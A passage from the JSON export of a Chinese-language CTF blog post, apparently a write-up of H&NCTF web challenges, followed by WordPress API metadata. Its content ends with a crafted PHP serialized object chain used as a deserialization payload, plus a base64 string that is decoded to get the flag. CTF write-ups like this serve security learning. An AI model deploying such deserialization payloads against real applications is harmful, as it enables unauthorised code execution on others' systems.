serialize($a);<br>\/\/O:5:\"order\":1:{s:5:\"start\";O:8:\"zhengcan\":1:{s:6:\"lbjjrj\";O:8:\"tiandian\":0:{}}}<br>\u56de\u663e5kLCBpdCdzIGp1c3QgbXkgaW1hZ2luYXJ5IGN5YmVyIGxpZmU=\uff0c\u4e24\u4e2abase64\u89e3\u5bc6\u51fa\u6765flag<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>(\u83dc\u9e21wea5e1\u7b49\u5f85\u5b98\u65b9wp\u4e2d)(\u540e\u9762\u4f1a\u66f4\u65b0) H&amp;NCTF Really_Ez_Rce \u662f..\u662f&#038; [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-121","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/121","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=121"}],"version-history":[{"count":5,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/121\/revisions"}],"predecessor-version":[{"id":142,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/121\/revisions\/142"}],"wp:attachment":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=121"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=121"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=121"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}